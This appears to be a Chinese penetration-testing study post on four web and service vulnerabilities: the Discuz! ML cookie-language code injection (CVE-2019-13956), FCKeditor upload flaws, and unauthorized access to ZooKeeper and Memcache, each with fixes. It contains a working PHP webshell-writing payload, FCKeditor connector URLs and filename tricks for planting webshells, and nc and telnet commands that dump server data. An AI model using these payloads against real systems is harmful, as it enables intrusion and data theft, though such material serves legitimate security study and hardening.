文章目录

  • Discuz漏洞-请求报文中含有恶意的PHP代码(CVE-2019-13956)
  • FCKeditor文本编辑器漏洞
    • test.html
    • browser.html
    • fckeditor.html
    • 连接器
    • 利用方式
  • 修复
  • ZooKeeper 未授权访问漏洞利用
    • 复现
    • 修复
  • Memcache未授权访问漏洞
    • 修复
  • 参考

Discuz漏洞-请求报文中含有恶意的PHP代码(CVE-2019-13956)

  • 漏洞描述

    Discuz国际版漏洞存在于cookie的language可控并且没有严格过滤,导致可以远程代码执行。

  • 原理
    Discuz!ML 系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。

  • 影响版本

    Discuz! ML V3.2

    Discuz! ML V3.3

    Discuz! ML V3.4

  • 上传一句话
    抓包找到cookie的language的值修改为xxxx_xxxx_language=sc’.phpinfo().’(点是不能省略的)
    getshell 的payload: ’.file_put_contents(‘shell.php’,urldecode(’<?php eval($_POST["cmd"]);?>’)).’,url编码后的形式
    %27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

注意的点是

  • shell要编码才能上传成功
  • 目录是和抓取页面同级的

漏洞复现

  • 漏洞存在的位置/upload/source/module/portal/portal_index.php,使用template函数处理’diy:portal/index’,然后使用include_once包含

  • 跟进template函数,发现把DISCUZ_LANG函数拼接成为一个缓存文件名,然后又返回了缓存文件名

  • 跟进DISCUZ_LANG函数,发现从cookie中取language的值给$lng

  • 继续浏览代码,发现把$lng的值赋给DISCUZ_LANG了

  • 外部参数lng ( 即cookie中的language语言)可控,导致DISCUZ LANG函数获取lng,然后拼接成缓存文件并且返回了缓存文件名,导致template函数生成的缓存文件名可控,插入自己的代码,最终include_once函数包含一下导致了代码注入(执行了插入恶意代码的缓存文件名)。

漏洞监测工具是:dz-ml-rce.py

FCKeditor文本编辑器漏洞

查看版本信息

/FCKeditor/editor/dialog/fck_about.html
/FCKeditor/_whatsnew.html

FCKeditor编辑器默认会存在:test.htmluploadtest.html文件,直接访问这些文件可以获取当前文件夹文件名称 以及 上传文件

默认上传文件
查找3个页面:fckeditor.htmltest.htmlbrowser.html

test.html

这是fck的测试文件,很多使用此编辑器的网站也就存在了这个页面,可以上传动态文件

test.html存在2个不同版本
第一个版本的默认路径是FCKeditor/editor/filemanager/connectors/test.html
或者/FCKeditor/editor/filemanager/browser/default/connectors/test.html
直接选择本地文件上传,有时候不成功可以多测试几次connector,有时候可能关闭了asp,只开启了aspx;对于resouse type也是一样,或者只是开启了file或者image其中一个类型的上传。
怎么获取上传地址呢?已经很明显了,点击”get folders and files“就将返回当前上传文件的地址。

另外一个版本的test.html,相对较少,他的默认路径是FCKeditor/editor/filemanager/upload/test.html
上传后会直接返回上传的路径,所以利用非常方便。

browser.html

默认路径一般是FCKeditor/editor/filemanager/browser/default/browser.html?Type=file&Connector=connectors/asp/connector.asp
这里是利用asp连接器,类型选择为”file“
怎么获取上传之后的地址呢?
FCK是利用xml列出文件的,在连接器中有这样一个命令”GetFoldersAndFiles",就是列出文件夹和文件。可以尝试运行下面的命令
editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
如果行的话就会列出文件路径。

或者翻一翻网站,找找相似的图片,说不定路径就出来了;再或者试试网页嗅探器。

fckeditor.html

fckeditor.html的默认路径一般是fckeditor/editor/fckeditor.Html

不可以上传文件,可点击上传图片按钮,再选择浏览服务器即可跳转到可上传文件页,可查看已经上传的文件(前提是/FCKeditor/editor/fckeditor.html 页面存在)

连接器

/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx
/FCKeditor/editor/filemanager/connectors/asp/connector.asp
/FCKeditor/editor/filemagager/connectors/php/connector.php

利用方式

  • 根据xml返回信息查看网站目录
http://***.1**.***.***:8081/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp
  • windows 2003 + IIS6 文件解析路径漏洞
    通过fckeditor在文件上传页面中,创建 xxx.asp 文件夹,在 xxx.asp 文件夹下上传一个名为 xxx.jpg 的图片后缀名webshell文件,即可获取到其shell
  • 突破文件名限制
    1、重复上传同名文件,绕过:“.” 变为 “-” 的限制
    某些版本的FCK上传shell.asp;.jpg 会变为 shell_asp;.jpg,继续上传 shell.asp;.jpg 就会变成:shell.asp;(1).jpg
    2、提交shell.php + 空格绕过文件名限制 ---- 只对windows系统有效

修复

  • 删除2个test.html
  • 关闭上传功能,关闭是在各个连接器的config文件中
    比如:asp连接器
    editor/filemanager/browser/default/connectors/asp/config.asp,将config.asp中的ConfigIsEnabled的值设置为False
  • 如果想使用FCK上传,那么就得修改相应的config文件。限制各个动态文件的上传,重命名文件。
  • 如果你有服务器权限,那么取消FCK上传目录的“脚本”权限,虽上传,但是已无法运行。

ZooKeeper 未授权访问漏洞利用

简介:
ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。默认安装配置完的zookeeper允许未授权访问,管理员未配置访问控制列表(ACL)。导致攻击者可以在默认开放的2181端口下通过执行envi命令获得大量敏感信息(系统名称、java环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据甚至杀死服务

复现

如果发现某网站开启了2181端口或者Zookeeper服务
使用kali中envi加nc来获取服务器敏感信息
echo 命令|nc 目标ip 目标端口

stat:列出关于性能和连接的客户端的统计信息。echo stat |nc 192.168.1.1 2181ruok:测试服务器是否运行在非错误状态。echo ruok |nc 192.168.1.1 2181reqs:列出未完成的请求。echo reqs |nc 192.168.1.1 2181envi:打印有关服务环境的详细信息。echo envi |nc 192.168.1.1 2181dump:列出未完成的会话和临时节点。echo dump |nc 192.168.1.1 2181
ZK的节点有5种操作权限:CREATE、READ、WRITE、DELETE、ADMIN 也就是 增、删、改、查、管理权限,这5种权限简写为crwda(即:每个单词的首字符缩写)注:这5种权限中,delete是指对子节点的删除权限,其它4种权限指对自身节点的操作权限
权限  描述  setAcl中的简写write   能够设置znode的值 wread    能够读取znode的值和列出它的children znode  rcreate  能够创建children znode  cdelete  能够删除children znode  dadmin   能够执行setAcl即设置访问控制列表 aall 所有权限wrcda

修复

  • 禁止把Zookeeper直接暴露在公网

  • 添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)

方式一

增加认证用户
addauth digest user1:password1
设置权限
setAcl /path auth:user1:password1:cdrwa(权限)
查看Acl设置
getAcl /path

方式二

setAcl /path digest:user1:password1:权限

限制IP只使集群内相关主机能访问2181端口

setAcl /zookeeper ip:1.1.1.1:cdrwa,ip:1.1.1.2:cdrwa,ip:1.1.1.3:cdrwa

  • 或者更简单的方式就是配置防火墙,使集群内机器才能访问2181端口,具体命令如下(配置防火墙需谨慎):
iptables -A INPUT -p tcp -m iprange --src-range 1.1.1.1-1.1.1.25 --dport 2181 -j ACCEPT
iptables -A INPUT -p tcp --dport 2181 -j DROP
service iptables save
service iptables restart
chkconfig iptables on

Memcache未授权访问漏洞

描述:
memcache未授权访问漏洞,默认的 11211 端口不需要密码即可访问,攻击者可获取数据库中信息,造成严重的信息泄露。

漏洞成因:
由于memcached安全设计缺陷,客户端连接memcached服务器后无需认证就可读取、修改服务器缓存内容。

漏洞危害:
除memcached中数据可被直接读取泄漏和恶意修改外,由于memcached中的数据像正常网站用户访问提交变量一样会被后端代码处理,当处理代码存在缺陷时会再次导致不同类型的安全问题。

当服务器存在漏洞

telnet连接目标11211端口

# stats  //查看memcache 服务状态
# stats items  //查看所有items
# stats cachedump 32 0  //获得缓存key(编号为3的第二个)
# get :state:264861539228401373:261588   //通过key读取相应value ,获得实际缓存内容,造成敏感信息泄露

修复

  • 配置memcached监听本地回环地址127.0.0.1

vim /etc/sysconfig/memcached OPTIONS=“-l 127.0.0.1” #设置本地为监听
/etc/init.d/memcached restart #重启服务

  • 如果业务要求指示必须通过Internet公开服务时,可使用主机防火墙(iptalbes、firewalld等)和网络防火墙对memcached服务端口进行过滤

参考

  • Discuz漏洞
  • 【Discuz】ML远程代码执行(CVE-2019-13956)
  • FCKeditor(FCK)上传漏洞利用原理详解
  • 【渗透测试】— FCKeditor文本编辑器漏洞
  • ZooKeeper 未授权访问漏洞利用
  • zookeeper未授权访问漏洞修复方式
  • Memcache未授权访问漏洞

2022-10-08(Discuz漏洞、FCKeditor文本编辑器漏洞、ZooKeeper 未授权访问、Memcahe 未授权访问)相关推荐

  1. 【渗透测试】--- FCKeditor文本编辑器漏洞

    FCKeditor编辑器漏洞 FCKeditor编辑器是一款强大的所见即所得文本编辑器,现在已经更名为:CKEditor 一.fckeditor的常见敏感目录(FCK有时要小写) (1) 查看版本信息 ...

  2. 10款著名的代码(文本)编辑器

    下面是笔者总结的 10 个最好的免费代码文本编辑器: 1. NOTEPAD++ NOTEPAD++是一款免费又优秀的文本编辑器,支持在 MS Windows 环境下运行的多种编程语言.NOTEPAD+ ...

  3. FCKeditor文本编辑器的优势以及用法

    首先,我说说FCK的优势,现在有很多正文本编辑器,虽然样子做的很华丽但是不实用,最简单的例子就是大部分的文本编辑器的图片不能 上传.在近一点的说你看看CSDN上的文本编辑也不能添加本地图片.添加本地图 ...

  4. ASP.NET配置FCKeditor文本编辑器

    FCKeditor安装: 所谓安装就是一个简单的拷贝过程.把下载的FCKeditor2.6.4.zip文件包直接解压缩到FCKPro的根目录下,这样根目录下就得到一个FCKeditor文件夹,里面富含 ...

  5. 恶意软件免杀与技术(2022.10.08)

    APT41免杀技术 在感染过程中两次执行相同的 CHM 文件.第一次执行表现出良性活动,而第二次执行隐秘地执行恶意行为. 最初执行体是名为 pss10r.chm (SHA256: 3d279aa8f5 ...

  6. komodo edit 支持java么_Komodo IDE/Edit 10.0.1 发布,文本编辑器

    Breadcrumbs: Remote breadcrumbs not showing file listings - fixes #1690. CodeIntel: Limit symbol bro ...

  7. ASP.NET2.0 文本编辑器FCKeditor的冰冷之心 【月儿原创】

    ASP.NET2.0 文本编辑器FCKeditor的冰冷之心 作者:清清月儿 主页:http://blog.csdn.net/21aspnet/           时间:2007.4.9 FCKed ...

  8. 10个免费的javascript富文本编辑器(jQuery and non-jQuery)

    本文介绍了10个免费易用富文本编辑器(rich text editors,RTE),其中5个是Jquery插件,另外5个是非Jquery富文本编辑器 简介 Javascript富文本编辑器使我们添加. ...

  9. asp.net文本编辑器FCKeditor使用方法详解 - 橙色大地 - 博客园

    asp.net文本编辑器FCKeditor使用方法详解 效果图: 那么为什么说是FCKeditor的冰冷之心呢?这不是哗众取宠,主要是说它使用起来有点麻烦,下文就详细说明如何搞定这玩意儿. 1.FCK ...

最新文章

  1. 【Win32汇编】五种寻址方式
  2. Java传xml时字符串乱码_大神们,我用DOM4j解析xml文档时,中文乱码
  3. c# string总结
  4. 评测网页效率的工具—YSlow
  5. 求1+2+3+...+n
  6. 最小生成树 Kruskal算法 Prim算法
  7. python什么是堆什么是栈_顶置篇:CPython的内存概念:栈、堆和引用
  8. yii2框架随笔19
  9. HTML5响应式手机模板:【超炫购物模板】——仿拍鞋网商城手机网站模板( HTML+CSS+JavaScript) 企业手机网站模板...
  10. Linux职业发展方向
  11. android虚拟机注册微信,用安卓模拟器登微信号不被封的办法
  12. Threejs 加载3D模型
  13. C语言-数组-读入学生信息统计各分数段人数并打印
  14. 【Vue3】图标处理方案SvgIcon
  15. datawindow技巧
  16. [转]明朝出了个张居正 作者:秋风浩荡 -3
  17. 风雨十年:一个老程序员的心里话!
  18. java 中entry类型_java中的Entry是什么类型
  19. sqlserver复制环境几种常见错误的修复方法
  20. 大连理工大学计算机学院陈教授,软件学院三项成果被计算机顶级会议INFOCOM 2020录用...

热门文章

  1. JAVA7-8 最佳情侣身高差 (10 分)
  2. 繁凡的对抗攻击论文精读(三)ICLR2019 利用先验知识进行高效黑盒对抗攻击的 bandits 算法(MIT)
  3. 思科华为网络工程师行业认证介绍
  4. 用友T6库存管理中,入库单保存后在单据列表里找不到此单据
  5. Catlike Coding Unity教程系列 中文翻译 Basics篇(二)Building a Graph
  6. 女文科生“弃文从理”转行做测试员,我是怎么做到工资涨了4倍的
  7. 非计算机专业软考高级评职称,信息系统项目管理师考过就是高级职称吗?
  8. pip报错 ERROR: Could not install packages due to an OSError: [Errno 2] No such file or directory
  9. requests爬虎妞
  10. 新手摆地摊,干什么样的模式更好?